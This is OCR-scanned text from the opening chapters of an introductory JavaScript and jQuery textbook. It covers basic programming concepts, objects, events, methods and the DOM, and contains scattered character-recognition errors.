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INTRODUCTION 



This book explains how JavaScript can be used 
in browsers to make websites more interactive, 
interesting, and user-friendly. You will also learn about 
jQuery because it makes writing JavaScript a lot easier. 


To get the most out of this book, you wilt need to know how to build web pages using HTML 
and CSS. Beyond that, no prior experience with programming is necessary. Learning to 
program with JavaScript involves: 


1 2 3 


Understanding some basic 
programming concepts and 

the terms that JavaScript 
programmers use to 
describe them. 


Learning the language itself, 
and, like all languages, you 
need to know its vocabulary 
and how to structure your 
sentences. 


Becoming familiar with how 
it is applied by looking at 
examples of how JavaScript 
is commonly used in 
websites today. 


The only equipment you need to use this book are a computer with a modern web browser 
installed, and your favorite code editor, (e.g., Notepad, TextEdit, Sublime Text, or Coda). 
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creating objects using 

LITERAL NOTATION 


CREATING MORE 
OBJECT LITERALS 



Introduction pages come at the beginning of each 
chapter. They introduce the key topics you will learn 
about. 


ACCESSING ELEMENTS 



Background pages appear on white. They explain 
the context of the topics covered that are discussed 
in each chapter. 



Example pages bring together the topics you have 
learned in that chapter and demonstrate how they 
can be applied. 


Reference pages introduce key pieces of JavaScript. 
HTML code is shown in blue, CSS code in pink, and 
JavaScript in green. 



Diagram and infographics pages are shown on a 
dark background. They provide a simple, visual 
reference to topics discussed. 



Summary pages come at the end of each chapter. 
They remind you of the key topics that were covered 
in each chapter. 
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HOW JAVASCRIPT MAKES 
WEB PAGES MORE 



INTERACTIVE 


JavaScript allows you 
to make web pages more 
interactive by accessing and 
modifying the content and 
markup used in a web page 
while it is being viewed in 
the browser. 


ACCESS CONTENT 

You can use JavaScript to select any 
element, attribute, or text from an 
HTML page. For example: 


Select the text inside all of the <hl> 
elements on a page 
Select any elements that have a 
class attribute with a value of note 
Find out what was entered into a 
text Input whose i d attribute has a 
value of email 


MODIFY CONTENT 

You can use JavaScript to add 
elements, attributes, and text to the 
page, or remove them. For example: 


Add a paragraph of text after the 

first <hl> element 

Change the value of cl ass 

attributes to trigger new CSS rules 

for those elements 

Change the size or position of an 

<imq> element 




JavaScript 
encompasses many 
of the traditional rules of 


REACT TO EVENTS 


You can specify that a script should run 
when a specific event has occurred. For 
example, it could be run when; 


A button is pressed 
A link is clicked (or tapped) on 
A cursor hovers over an element 
Information is added to a form 
An interval of time has passed 
A web page has finished loading 


programming. 


It can make the web page feel 
interactive by responding 
to what the user does 


PROGRAM RULES 

You can specify a set of steps for 
the browser to follow (like a recipe), 
which allows it to access or change the 
content of a page. For example; 






A gallery script could check which 
image a user clicked on and display 
a larger version of that image, 

A mortgage calculator coutd collect 
values from a form, perform a 
calculation, and display repayments. 
An animation could check the 
dimensions of the browser window 
and move an image to the bottom 
of the viewable area (also known as 
the viewport). 










EXAMPLES OF JAVASCRIPT 
IN THE BROWSER 


Being able to change the content of an HTML page while it is loaded in 
the browser is very powerful. The examples below rely on the ability to: 

Access the content of the page 

Modify the content of the page 

Program rules or instructions the browser can follow 

React to events triggered by the user or browser 




SLIDESHOWS 

Shown in Chapter 'll 


FORMS 

Shown in Chapter 13 


Slideshows can display a number of different images 
(or other HTML content) within the same space 
on a given page. They can play automatically as 
a sequence, or users can dick through the slides 
manually. They allow more content to be displayed 
within a limited amount of space. 


Validating forms (checking whether they have been 
filied in correctly) is important when information is 
supplied by users. JavaScript lets you alert the user 
if mistakes have been made. It can also perform 
sophisticated calculations based on any data entered 
and reveal the results to the user. 


React: Script triggered when the page loads 
Access: Get each slide from the slideshow 
Modify: Only show the first slide (hide others) 
Program: Set a timer: when to show next slide 
Modify: Change which slide is shown 
React: When user dicks button for different slide 
Program: Determine which slide to show 
Modify: Show the requested slide 


React: User presses the submit button when they 
have entered their name 
Access: Get value from form field 
Program: Check that the name is long enough 
Modify: Show a warning message if the name is not 
long enough 
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The examples on these two pages give you a taste of In the coming chapters, you will learn how and when 

what JavaScript can do within a web page, and of the to access or modify content, add programming rules, 

techniques you will be learning throughout this book. and react to events. 


m 

THf MAKER aUS 


Raft upt Roll up! It's tf>e maker bus.** 




RELOAD PART OF PAGE 

Shown in Chapter 8 

You might not want to force visitors to reload the 
content of an entire web page, particularly if you 
only need to refresh a small portion of a page. 

Just reloading a section of the page can make a 
site feel tike it is faster to load and more like an 
application. 

React; Script triggered when user clicks on link 
Access: The link that they clicked on 
Program: Load the new content that was requested 
from that link 

Access; Find the element to replace in the page 
Modify: Replace that content with the new content 



FILTERING DATA 

Shown in Chapter 12 

If you have a lot of information to display on a page, 
you can help users find information they need by 
providing filters. Here, buttons are generated using 
data in the attributes of the HTML<img> elements. 
When the user clicks on one of the buttons, they are 
only shown the images with that keyword. 

React: Script triggered when page loads 
Program: Collect keywords from images 
Program: Turn the keywords info buttons the user 
can click on 

React: User clicks on one of the buttons 
Program; Find the relevant subset of images that 
should be shown 

Modify; Show the subset of images that use that tag 
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THE STRUCTURE OF 
THIS BOOK 


In order to teach you JavaScript, this book is divided into two sections: 


CORE CONCEPTS 

The first nine chapters introduce you to the basics 
of programming and the JavaScript language. Along 
the way you will learn how it is used to create more 
engaging, interactive, and usable websites. 

Chapter 1 looks at some key concepts in computer 
programming, showing you how computers create 
models of the world using data, and how JavaScript 
is used to change the contents of an HTML page. 

Chapters 2-4 cover the basics of the JavaScript 
language. 

Chapter 5 explains how the Document Object Model 
(DOM) lets you access and change a document's 
contents while it is loaded into the browser. 

Chapter 6 discusses how events can be used to 
trigger code. 

Chapter 7 shows you how jQuery can make the 
process of writing scripts faster and easier, 

Chapter 8 introduces you to Ajax, a set of 
techniques that allow you to just change part of a 
web page without reloading the entire page. 

Chapter 9 covers Application Programming 
Interfaces (APIs), including new APIs that are part of 
HTML5 and those of sites like Google Maps. 


PRACTICAL APPLICATIONS 

By this point you will already have seen many 
examples of how JavaScript is used on popular 
websites. This section brings together all of the 
techniques you have learned so fan to give you 
practical demonstrations of how JavaScript is used 
by professional developers. Not only wifi you see a 
selection of in-depth examples, you will also learn 
more about the process of designing and writing 
scripts from scratch. 

Chapter 10 deals with error-handling and debugging, 
and explains more about how JavaScript is processed. 

Chapter 11 shows you techniques for creating 
content panels^such as sliders, modal windows, 
tabbed panels, and accordions. 

Chapter 12 demonstrates several techniques for 
filtering and sorting data. This includes filtering a 
gallery of images, and re-ordering the rows of a table 
by clicking on the column headings. 

Chapter 13 deals with form enhancements and how 
to validate form entries. 

Unless you are already a confident programmer, you 
will probably find it helpful to read the book from 
start to finish the first time. However, once you have 
grasped the basics, we hope it will continue to be a 
helpful reference as you create your own scripts. 
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HTML & CSS: 
A QUICK REFRESHER 


Before looking at JavaScript, let's clarify some HTML & CSS terms. 
Note how HTML attributes and CSS properties use name/value pairs. 


HTML ELEMENTS 

HTML elements are added to 
the content of a page to describe 
its structure. An element 
consists of the opening and 
closing tags, plus its content. 


Tags usually come in pairs with 
an opening tag and a closing tag. 
There are a few empty elements 
with no content, (e.g*, <tmg>). 
They have one self-closing tag. 


Opening tags can carry 
attributes, which tell us more 
about that element. Attributes 
have a name and a value. The 
value is usually given in quotes 


OPENING TAG CLOSING TAG 


<p class="fruit">peach</p> 


ATTRIBUTE NAME ATTRIBUTE VALUE 


CSS RULES 

CSS uses rules to indicate how 
the contents of one or more 
elements should be displayed 
in the browser. Each rule has a 
selector and a declaration block. 


The CSS selector indicates 
which element(s) the rule 
applies to. The declaration block 
contains rules that indicate how 
those elements should appear. 


Each declaration in the 
declaration block has a property 
(the aspect you want to control), 
and a value, which is the setting 
for that property. 


SELECTOR DECLARATION BLOCK 


.fruit {color: pink; } 


PROPERTY NAME PROPERTY VALUE 
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BROWSER SUPPORT 


Some early examples in this book do not work with Internet Explorer 8 
and earlier (but alternative code samples that work in IE8 are available to 
download from http://javascriptbook.com). We explain techniques 
for dealing with older browsers in later chapters. 


Each version of a web browser adds new features. 
Often these new features make tasks easier, or are 
considered better, than using older techniques. 

But, website visitors do not always keep up with 
the latest browser releases, so website developers 
cannot always rely upon the latest technologies. 

As you will see, there are many inconsistencies 
between browsers that affect JavaScript developers, 
jQuery will help you dea! with cross-browser 
inconsistencies (it is one of the major reasons why 
jQuery rapidly gained popularity amongst web 
developers). But before you learn jQuery, it helps to 
know what it is helping you to achieve. 


To make JavaScript easier to learn, the first few 
chapters use some features of JavaScript that are 
not supported in IE8. But: 

• You will learn how to deal with IE8 and older 
browsers in later chapters (because we know that 
many clients expect sites to work in IE8), 

It just requires knowledge of some extra code 
or requires you to be aware of some additional 
issues, 

• Online, you will find alternatives available for 
each example that does not work in IE8. 

But please check the comments in those code 
samples to make sure you know about the about 
issues involved in using them. 
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1 

THE ABC OF 
PROGRAMMING 



Before you learn how to read and write the JavaScript 
language itself, you need to become familiar with some key 
concepts in computer programming. They will be covered in 
three sections: 



ABC 

What is a script and how do I How do computers fit in with How do I write a script for a 

create one? the world around them? web page? 

Once you have learned the basics, the following chapters wiH show bow the JavaScript 
language can be used to tell browsers what you want them to do. 


12 1 THE ABC OF PROGRAMMING 




WHAT IS A SCRIPT 
AND HOW DO I 
CREATE ONE? 


m 
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A SCRIPT IS A SERIES OF 
INSTRUCTIONS 


A script is a series of instructions that a 
computer can follow to achieve a goal. 

You could compare scripts to any of the following: 


RECIPES 

By following the instructions in a 
recipe, one-by-one in the order 
set out, cooks can create a dish 
they have never made before. 

Some scripts are simple and only 
deal with one individual scenario, 
like a simple recipe for a basic 
dish. Other scripts can perform 
many tasks, like a recipe for a 
complicated three-course meal. 

Another similarity is that, if 
you are new to cooking or 
programming, there is a lot of 
new terminology to learn. 


HANDBOOKS 

Large companies often provide 
handbooks for new employees 
that contain procedures to follow 
in certain situations. 

For example, hotel handbooks 
may contain steps to follow in 
different scenarios such as when 
a guest checks in, when a room 
needs to be tidied, when a fire 
alarm goes off, and so forth. 

In any of these scenarios, the 
employees need to follow 
only the steps for that one 
type of event. (You would not 
want someone going through 
every single step in the entire 
handbook while you were 
waiting to check in.) Similarly, 
in a complex script, the browser 
might use only a subset of the 
code available at any given time. 


MANUALS 

Mechanics often refer to car 
repair manuals when servicing 
models they are not familiar 
with. These manuals contain a 
series of tests to check the key 
functions of the car are working, 
along with details of how to fix 
any issues that arise. 

For example, there might be 
details about how to test the 
brakes. If they pass this test, the 
mechanic can then go on to the 
next test without needing to fix 
the brakes. But, if they fail, the 
mechanic will need to follow the 
instructions to repair them. 

The mechanic can then go back 
and test the brakes again to see 
If the problem is fixed. If the 
brakes now pass the test, the 
mechanic knows they are fixed 
and can move onto the next test. 


Similarly, scripts can allow the 
browser to check the current 
situation and only perform a 
set of steps if that action is 
appropriate. 
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Scripts are made up of instructions 
a computer can follow step-by-step 


A browser may use different parts 
of the script depending on how the 
user interacts with the web page. 


Scripts can run different sections 
of the code in response to the 
situation around them. 







WRITING A 
SCRIPT 


To write a script, you need to first 
state your goal and then list the 
tasks that need to be completed in 
order to achieve it. 


Humans can achieve complex goafs without thinking 
about them too much, for example you might be 
able to drive a car, cook breakfast or send an email 
without a set of detailed instructions, But the first 
time we do these things they can seem daunting. 
Therefore, when learning a new skill, we often break 
it down into smaller tasks, and learn one of these at 
a time. With experience these individual tasks grow 
familiar and seem simpler. 

Some of the scripts you will be reading or writing 
when you have finished this book will be quite 
complicated and might look intimidating at 
first. However, a script is just a series of short 
instructions, each of which is performed in order 
to solve the problem in hand. This is why creating a 
script is like writing a recipe or manual that allows a 
computer to solve a puzzle one step at a time. 

It is worth noting, however, that a computer doesn’t 
learn how to perform tasks like you or I might; it 
needs to follow instructions every time it performs 
the task, So a program must give the computer 
enough detail to perform the task as if every time 
were its first time. 
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Start with the big picture of what 
you want to achieve, and break 
that down into smaller steps. 



1: DEFINE THE GOAL 

First, you need to define the task you want to 
achieve. You can think of this as a puzzle for the 
computer to solve. 


2: DESIGN THE SCRIPT 

To design a script you split the goal out into a series 
of tasks that are going to be involved in solving this 
puzzle. This can be represented using a flowchart. 

You can then write down individual steps that the 
computer needs to perform in order to complete 
each individual task (and any information it needs to 
perform the task), rather like writing a recipe that it 
can follow, 

3: CODE EACH STEP 

Each of the steps needs to be written in a 
programming language that the computer 
understands. In our case, this is JavaScript, 

As tempting as it can be to start coding straight 
away, it pays to spend time designing your script 
before you start writing it. 
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DESIGNING A SCRIPT: 
TASKS 


Once you know the goal of your script, you 
can work out the individual tasks needed to 
achieve it. This high-level view of the tasks 
can be represented using a flowchart. 


FLOWCHART: TASKS OF A HOTEL CLEANER 
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DESIGNING A SCRIPT: 

STEPS 


Each individual task may be broken down into 
a sequence of steps. When you are ready 
to code the script, these steps can then be 
translated into individual lines of code. 


LIST: STEPS REQUIRED TO TIDY A ROOM 


/ \ 


STEP 1 

Remove used bedding 

STEP 2 

Wipe ail surfaces 

STEP 3 

Vacuum floors 

STEP 4 

Fit new bedding 

STEPS 

Remove used towels and soaps 

STEP 6 

Clean toilet, bath, sink, surfaces 

STEP 7 

Place new towels and soaps 

STEP 8 

Wipe bathroom floor 


As you will see on the next page, the steps that a computer needs to follow in order 
to perform a task are often very different from those that you or I might take. 
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FROM STEPS 
TO CODE 




Every step for every task shown 
in a flowchart needs to be written 
in a language the computer can 
understand and follow. 

In this book, we are focussing on the JavaScript 
language and how it is used in web browsers. 

Just like [earning any new language, you need 
to get to grips with the: 

• Vocabulary: The words that computers 
understand 

* Syntax: How you put those words together to 
create instructions computers can follow 


Along with learning the language itself, if you are 
new to programming, you wifi also need to learn how 
a computer achieves different types of goals using 
a programmatic approach to problem-solving. 


Computers are very logical and obedient. They need 
to be told every detail of what they are expected to 
do, and they will do it without question. Because 
they need different types of instructions compared 
to you or [, everyone who learns to program makes 
lots of mistakes at the start. Don't be disheartened; 
in Chapter 10 you wifi see several ways to discover 
what might have gone wrong - programmers call 
this debugging. 



1 . 
ii 
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You need to learn to "think" like 
a computer because they solve 
tasks in different ways than you or 
I might approach them. 

Computers solve problems programmatically; they 
follow series of instructions, one after another The 
type of instructions they need are often different to 
the type of Instructions you might give to another 
human. Therefore, throughout the book you will not 
only learn the vocabulary and syntax that JavaScript 
uses, but you will also learn how to write instructions 
that computers can follow. 

For example, when you took at the picture on the 
left how do you tell which person is the tallest? 

A computer would need explicit, step-by-step 
instructions, such as: 

1, Find the height of the first person 

2. Assume he or she is the "tallest person'" 

3, Look at the height of the remaining people one- 
by-one and compare their height to the "tallest 
person" you have found so far 

4. At each step, if you find someone whose height is 
greater than the current 'tallest person", he or she 
becomes the new "tallest person' 1 

5* Once you have checked all the people, tell me 
which one is the tallest 

So the computer needs to look at each person in 
turn, and for each one it performs a test ("Are they 
taller than the current tallest person?"). Once it has 
done this for each person it can give its answer. 
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DEFINING A GOAL & 
DESIGNING THE SCRIPT 


Consider how you might approach a different type of script. 
This example calculates the cost of a name plaque. 
Customers are charged by the letter. 


The first thing you should do is detail your goals for 
the script (what you want it to achieve); 


CUSTOM SIGNAGE 


Customers can have a name added to a plaque; each 
letter costs $5. When a user enters a name, show 
them how much it will cost. 


Enter name: 


Next, break it into a series of tasks that have to be 
performed in order to achieve the goals; 


SHOW COST 


1. The script is triggered when the button is clicked, 

2. it collects the name entered into the form field. 

3. It checks that the user has entered a value, 

4. If the user has not entered anything, a message 
will appear telling them to enter a name, 

5> If a name has been entered, calculate the cost of 
the sign by multiplying the number of letters by 
the cost per letter. 

6. Show how much the plaque costs. 

(These numbers correspond with the flowchart on 

the right-hand page,) 


CUSTOM SIGNAGE 


Enter name: Please enter a name below.,. 


— 

THOMAS 

' 


J 


SHOW COST 


CUSTOM SIGNAGE 


$30 


THOMAS 
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SKETCHING OUT THE 
TASKS IN A FLOWCHART 


Often scripts will need to perform different tasks in different situations. 
You can use flowcharts to work out how the tasks fit together. 

The flowcharts show the paths between each step. 


O 

e 


When the button has been clicked 

f 

Get the name entered into the form 

f 


© 

© 

0 

O 


Is there a 
name to get? 


Ask user the user to enter a name 


Calculate the cost of the sign (letters x price) 

i 

\ 

Show the cost of the sign on the screen 


Arrows show how the script moves from one task 
to the next. The different shapes represent different 
types of tasks. In some places there are decisions 
which cause the code to follow different paths. 

You will learn how to turn this example into code in 
Chapter 2. You will also see many more examples of 
different flowcharts throughout the book, and you 
will meet code that helps you deal with each of these 
types of situations. 

Some experienced programmers use more complex 
diagram styles that are specifically designed to 
represent code - however, they have a steeper 
learning curve. These informai flowcharts will help 
you understand how scripts work while you are in 
the process of learning the language. 

FLOWCHART KEY 


Generic step 

Event 

Input or output 

Decision 
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SUMMARY 

THE ABC OF PROGRAMMING 


A: What is a script and how do I create one? 


A script is a series of instructions that the computer 
can follow in order to achieve a goal. 

Each time the script runs, it might only use a subset of 
all the instructions. 

Computers approach tasks in a different way than 
humans, so your instructions must let the computer 
solve the task programmatically. 

To approach writing a script, break down your goal into 
a series of tasks and then work out each step needed 
to complete that task (a flowchart can help). 




1/b 


HOW DO COMPUTERS 
FIT IN WITH THE 
WORLD AROUND 

THEM? 
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COMPUTERS CREATE 
MODELS OF THE WORLD 
USING DATA 


Here is a model of a hotel, along with some model trees, model people, 
and model cars. To a human, it is clear what kind of real-world object 
each one represents. 



A computer has no predefined 
concept of what a hotel or car is 
It does not know what they are 
used for Your laptop or phone 
will not have a favorite brand of 
car nor will it know what star 
rating your hotel is. 


So how do we use computers 
to create hotel booking apps, 
or video games where players 
can race a car? The answer 
is that programmers create a 
very different kind of model, 
especially for computers. 


Programmers make these 
models using data. That is not 
as strange or as scary as it 
sounds because the data is all 
the computer needs in order to 
follow the instructions you give it 
to carry out its tasks. 



OBJECTS & PROPERTIES 


If you could not see the picture of the hotel and cars, the data in the 
information boxes alone would still tell you a lot about this scene. 


OBJECTS (THINGS) 

In computer programming, each physical thing in 
the world can be represented as an object. There are 
two different types of objects here: a hotel and a car. 

Programmers might say that there is one instance of 
the hotel object, and two instances of the car object. 

Each object can have its own: 

• Properties 

• Events 

• Methods 

Together they create a working model of that object. 


PROPERTIES (CHARACTERISTICS) 

Both of the cars share common characteristics. 

In fact, all cars have a make, a color, and engine 
size* You could even determine their current 
speed. Programmers call these characteristics the 
properties of an object. 

Each property has a name and a value, and each of 
these name/value pairs tells you something about 
each individual instance of the object. 

The most obvious property of this hotel is its name. 
The value for that property is Quay. You can tell the 
number of rooms the hotel has by looking at the 
value next to the rooms property. 


The idea of name/value pairs is used in both HTML and CSS* in HTML, an attribute is like a property; different 
attributes have different names, and each attribute can have a value. Similarly, in CSS you can change the color 
of a heading by creating a rule that gives the col or property a specific value, or you can change the typeface it is 
written in by giving the font-fami 1y property a specific value. Name/value pairs are used a lot in programming. 
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HOTEL OBJECT 


The hotel object uses property names and values 
to tell you about this particular hotel, such as the 
hotel's name, its rating, the number of rooms it has, 
and how many of these are booked. You can also tell 
whether or not this hotel has certain facilities. 


CAR OBJECTS 

The car objects both share the same properties, but 
each one has different values for those properties. 
They tell you the make of car, what speed each car is 
currently traveling at, what color it is, and what type 
of fuel it requires. 



PROPERTIES 


make 


BMW 


currentSpeed 

color 


30mph 


silver 


diesel 


OBJECT TYPE: HOTEL 

PROPERTIES 

name 

Quay 

rating 

4 

rooms 

42 

bookings 

21 

gym 

false 

pool 

true 


OBJECT TYPE: CAR 

PROPERTIES 


make 

Porsche 

currentSpeed 

2Qmph 

color 

silver 

■ fuel 

gasoline 




EVENTS 


In the real world, people interact with objects. These interactions can 
change the values of the properties in these objects. 


WHAT IS AN EVENT? 

There are common ways in which people interact 
with each type of object. For example, in a car a 
driver will typically use at least two pedals. The car 
has been designed to respond differently when the 
driver interacts with each of the different pedals: 

* The accelerator makes the car go faster 

• The brake slows it down 

Similarly, programs are designed to do different 
things when users interact with the computer in 
different ways. For example, clicking on a contact 
link on a web page could bring up a contact 
form, and entering text into a search box may 
automatically trigger the search functionality. 

An event is the computer's way of sticking up Its 
hand to say, "Hey, this just happened!" 


WHAT DOES AN EVENT DO? 

Programmers choose which events they respond to. 
When a specific event happens, that event can be 
used to trigger a specific section of the code. 

Scripts often use different events to trigger different 
types of functionality. 

So a script wii! state which events the programmer 
wants to respond to, and what part of the script 
should be run when each of those events occur. 
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HOTEL OBJECT 


CAR OBJECTS 


A hotel will regularly have bookings for rooms. Each 
time a room is reserved, an event called book can 
be used to trigger code that will increase the value 
of the bookings property, likewise, a cancel event 
can trigger code that decreases the value of the 
bookings property. 


A driver will accelerate and brake throughout any car 
journey. An accelerate event can trigger code to 
increase the value of the currentSpeed property and 
a brake event can trigger code to decrease it. You 
will learn about the code that responds to the events 
and changes these properties on the next page. 



OBJECT TYPE: HOTEL 

EVENT 

happens when: 

book 

reservation is made 

cancel 

reservation is cancelled 


OBJECT TYPE: CAR 

EVENT 

happens when: 

brake 

driver slows down 

accelerate 

driver speeds up 




1 

OBJECT TYPE: CAR 

EVENT 

brake 

accelerate 

happens when: 

i driver slows down 

driver speeds up 

1 

"f ! 

i 

r 
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METHODS 


Methods represent things people need to do with objects. They can 
retrieve or update the values of an object’s properties. 


WHAT IS A METHOD? 

Methods typically represent how people Cor other 
things) interact with an object in the real world. 

They are like questions and instructions that: 

• Tell you something about that object (using 
information stored in its properties) 

* Change the value of one or more of that object's 
properties 


WHAT DOES A METHOD DO? 

The code for a method can contain lots of 
instructions that together represent one task. 

When you use a method, you do not always need to 
know how it achieves its task; you just need to know 
how to ask the question and how to interpret any 
answers it gives you. 
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HOTEL OBJECT 

Hotels will commonly be asked if any rooms are free. 
To answer this question, a method can be written 
that subtracts the number of bookings from the 
total number of rooms. Methods can also be used 
to increase and decrease the value of the bookings 
property when rooms are booked or cancelled. 


CAR OBJECTS 

The value of the currentSpeed property needs 
to go up and down as the driver accelerates and 
brakes. The code to increase or decrease the value 
of the currentSpeed property could be written 
in a method, and that method could be called 
changeSpeedO. 



OBJECT TYPE: CAR 


METHOD what it does: 

changeSpeedO increases or decreases value 
of curren tSpe ed p ro p e r t y 


METHOD what it does: 

changeSpeedO increases or decreases value 
of current Speed property 


OBJECT TYPE: HOTEL 

METHOD 

what it does: 

makeBookingO 

increases value of bookings property 

cancelBookingO 

decreases value of bookings property 

checkAvailabilityO 

subtracts value of bookings property 
from value of rooms property and 
returns number of rooms available 
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PUTTING IT ALL TOGETHER 


Computers use data to create models of things in the real world. 

The events, methods, and properties of an object ail relate to each other: 
Events can trigger methods, and methods can retrieve or update an 
object's properties. 


OBJECT TYPE: HOTEL 


EVENT 


cancel 


happens when: method called: 

reservation is made makeBooking{) 
reservation is cancelled cancel BookingQ 


METHOD 


makeBookingO 


cancelBookingQ 


checkAvaifabilityO subtracts value of bookings property 
from value of rooms property and 
returns number of rooms available 



what it does: 

increases value of bookings property 
decreases value of bookings property 
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QUAY 


HOTEL 





HOTEL OBJECT 

1. When a reservation is made r the book event fires, 

2. The book event triggers themakeBooki ng () 
method, which increases the value of the 
bookings property. 

3. The value of the bookings property is changed to 
reflect how many rooms the hotel has available. 


CAR OBJECTS 

1 Asa driver speeds up, the accelerate event fires. 

2. The accelerate event calls the changeSpeedf) 
method, which in turn increases the value of the 
currentSpeed property, 

3. The value of the currentSpeed property reflects 
how fast the car is traveling. 
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OBJECT TYPE: CAR 

EVENT happens when: method called: 

PROPERTIES 

i 

brake driver slows down changeSpeedQ 

, - ir . 

make 

8MW 

PBHBIBRcl driver speeds up changes peed 0 

I currentSpeed ] 

45mph 


color 



silver 


METHOD what it does: 

fuel 

diesel 

increases or decreases value 



of currentSpeed property 









WEB BROWSERS ARE 
PROGRAMS BUILT 
USING OBJECTS 


You have seen how data can be used to create a model of a hotel or a car. 
Web browsers create similar models of the web page they are showing 
and of the browser window that the page is being shown in. 


WINDOW OBJECT 

On the right-hand page you can see a model of a 
computer with a browser open on the screen. 

The browser represents each window or tab using a 
window object. The location property of the window 
object will tell you the URL of the current page. 


DOCUMENT OBJECT 

The current web page loaded into each window is 
modelled using a document object. 

The title property of the document object tells you 
what b between the opening <ti tl e> and closing 
</t i 1 1 e> tag for that web page, and the 
1 astModi f i ed property of the document object 
tells you the date this page was last updated. 



THE ABC OF PROGRAMMING 




OBJECT TYPE: WINDOW 


PROPERTIES 

location http://wwwJavascriptbook.com/ 






OBJECT TYPE: DOCUMENT 


PROPERTIES 

URL bttp://www.java$cnptbook,CGm/ 

lastModifi ed 09/04/2014 15:33:37 


trtle 


Learn JavaScript & jQuery - 
A book that teaches you 
in a nicer way 




£ tswanSSfr' 









THE DOCUMENT OBJECT 
REPRESENTS AN HTML 
PAGE 

Using the document object, you can access and change what content 
users see on the page and respond to how they interact with it. 


Like other objects that represent reaE-worid things, 
the document object has: 

PROPERTIES 

Properties describe characteristics of the current 
web page (such as the title of the page), 

METHODS 

Methods perform tasks associated with the 
document currently loaded in the browser (such 
as getting information from a specified element or 
adding new content). 

EVENTS 

You can respond to events, such as a user clicking or 
tapping on an element. 


Because all major web browsers implement the 
document object in the same way, the people who 
create the browsers have already: 

• Implemented properties that you can access to 
find out about the current page in the browser 

• Written methods that achieve some common 
tasks that you are likely to want to do with an 
HTML page 

So you will be learning how to work with this object. 
In fact, the document object is just one of a set of 
objects that all major browsers support. When the 
browser creates a model of a web page, it not only 
creates a document object, but it also creates a 
new object for each element on the page. Together 
these objects are described in the Document Object 
Model, which you will meet in Chapter 5. 
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OBJECT TYPE: DOCUMENT 

PROPERTIES 

URL 

http://www,iavascriptbookxom/ 

lastModified 09/04/2014 15:33:37 

title 

Learn JavaScript & jQuery - 
A book that teaches you 
in a nicer way 

EVENT 

happens when: 

load 

page and assets have finished loading 

click 

user clicks the mouse over the page 

keypress 

user presses down on a key 

METHOD 

what ft does: 

writeQ 

adds new content to the document 

1 getElementByldQ accesses an element when you 
state its id attribute 









HOW A BROWSER 
SEES A WEB PAGE 


tn order to understand how you can change the content of an HTML 
page using JavaScript, you need to know how a browser interprets the 
HTML code and applies styling to it. 


1; RECEIVE A PAGE AS 
HTML CODE 

Each page on a website can be 
seen as a separate document. 
So, the web consists of many 
sites, each made up of one or 
more documents. 


2: CREATE A MODEL OF 
THE PAGE AMD STORE 
IT IN MEMORY 

The model shown on the right 
hand page is a representation 
of one very basic page. Its 
Structure is reminiscent of a 
family tree. At the top of the 
model is a document object, 
which represents the whole 
document. 

Beneath the document object 
each box is called a node. Each 
of these nodes is another object. 
This example features three 
types of nodes representing 
elements, text within the 
elements, and attribute. 


3: USE A RENDERING 
ENGINE TO SHOW THE 
PAGE ON SCREEN 

If there is no CSS, the rendering 
engine will apply default styles 
to HTML elements. However, 
the HTML code for this example 
links to a CSS style sheet, so the 
browser requests that file and 
displays the page accordingly. 

When the browser receives 
CSS rules, the rendering engine 
processes them and applies 
each rule to its corresponding 
elements. This is how the 
browser positions the elements 
in the correct place, with the 
right colors, fonts, and so on. 


All major browsers use a JavaScript interpreter to translate your 
instructions (in JavaScript) into instructions the computer can follow. 


When you use JavaScript in 
the browser, there is a part of 
the browser that is called an 
interpreter Cor scripting engine). 


The interpreter takes your 
instructions (in JavaScript) and 
translates them into instructions 
the browser can use to achieve 
the tasks you want it to perform. 


In an interpreted programming 
language, like JavaScript, each 
line of code is translated 
one-by-one as the script is run. 


40 THE ABC OF PROGRAMMING 


<1 DOCTYPE html> 

<head> 

<title>C<mstructive Samp; Co.</t1tle> 

<1 1 nk re1= JI stylesheet" href = H css/cQl. css" /> 
</head> 

<body> 

<hl>Ccmstructive &amp; Co.</hi> 

<p>For all orders and inquiries please call 
<em>555-3344</em></p> 

</body> 

</html> 


i 

The browser 
receives an HTML 
page. 


J" 


document 


<html> 




<head> 


<ti t 1 e> I <Tink> 


1 


Constructive 
&amp; Co. 


rel stylesheet 
href css/cOl.css 


:body> 



<hl> 




Constructive 
Samp; Co. 


r 


For all 
orders and 
inquiries 
please call 


1 


<em> 


5S5-3344 


2 

It creates a model 
of the page and 
stores it in memory. 


• OBJECT 
m ELEMENT 

• TEXT 
ATTRIBUTES 



3 

It shows the page 
on screen using a 
rendering engine. 
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SUMMARY 

THE ABC OF PROGRAMMING 


B: How do computers fit in with the world 
around them? 



Computers create models of the world using data. 


The models use objects to represent physical things. 
Objects can have: properties that tell us about 
the object; methods that perform tasks using the 
properties of that object; events which are triggered 
when a user interacts with the computer. 

Programmers can write code to say "When this event 
occurs, run that code/' 

Web browsers use HTML markup to create a mode! 
of the web page. Each element creates its own node 
(which is a kind of object). 



o make web pages interactive, you write code that 
uses the browser's model of the web page. 
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HOW DO I WRITE A 
SCRIPT FOR A 
WEB PAGE? 
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HOW HTML, CSS, 
& JAVASCRIPT FIT 
TOGETHER 


Before diving into the JavaScript language, you 
need to know how it will fit together with the 
HTML and CSS in your web pages. 


Web developers usually talk 
about three languages that 
are used to create web pages; 
HTML, CSS, and JavaScript. 


<html> 


CONTENT LAYER 

. html files 

This is where the content of 
the page lives. The HTML gives 
the page structure and adds 
semantics. 


Where possible, aim to keep the 
three languages in separate files, 
with the HTML page linking to 
CSS and JavaScript files. 


{css} 


PRESENTATION LAYER 

.css files 

The CSS enhances the HTML 
page with rules that state how 
the HTML content is presented 
(backgrounds, borders, box 
dimensions, colors, fonts, etc). 


Programmers often refer to this as a separation of concerns, 


Each language forms a separate 
layer with a different purpose. 
Each layer, from left to right, 
builds on the previous one. 


javascri p t ( ) 


BEHAVIOR LAYER 

.js files 

This is where we can change 
how the page behaves, adding 
interactivity. We will aim to keep 
as much of our JavaScript as 
possible in separate files. 
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PROGRESSIVE 

ENHANCEMENT 


As more and more web-enabled 
devices come onto the market, 
this concept is becoming more 
widely adopted. 

Constructive & Co. 

For all orders and inquiries please 
ca U 555*3344 


HTML ONLY 

Starting with the HTML layer 
allows you to focus on the most 
important thing about your site: 
its content. 

Being plain HTML, this layer 
should work on alt kinds of 
devices, be accessible to all 
users, and load quite quickly on 
slow connections* 


These three layers form the basis of a popular 
approach to building web pages called 
progressive enhancement. 


It’s not just screen sizes that are 
varied - connection speeds and 
capabilities of each device can 
also differ. 



Constructive & Co. 


Far All orders and inquiries 

please «U sss-1114 


HTML+CSS 

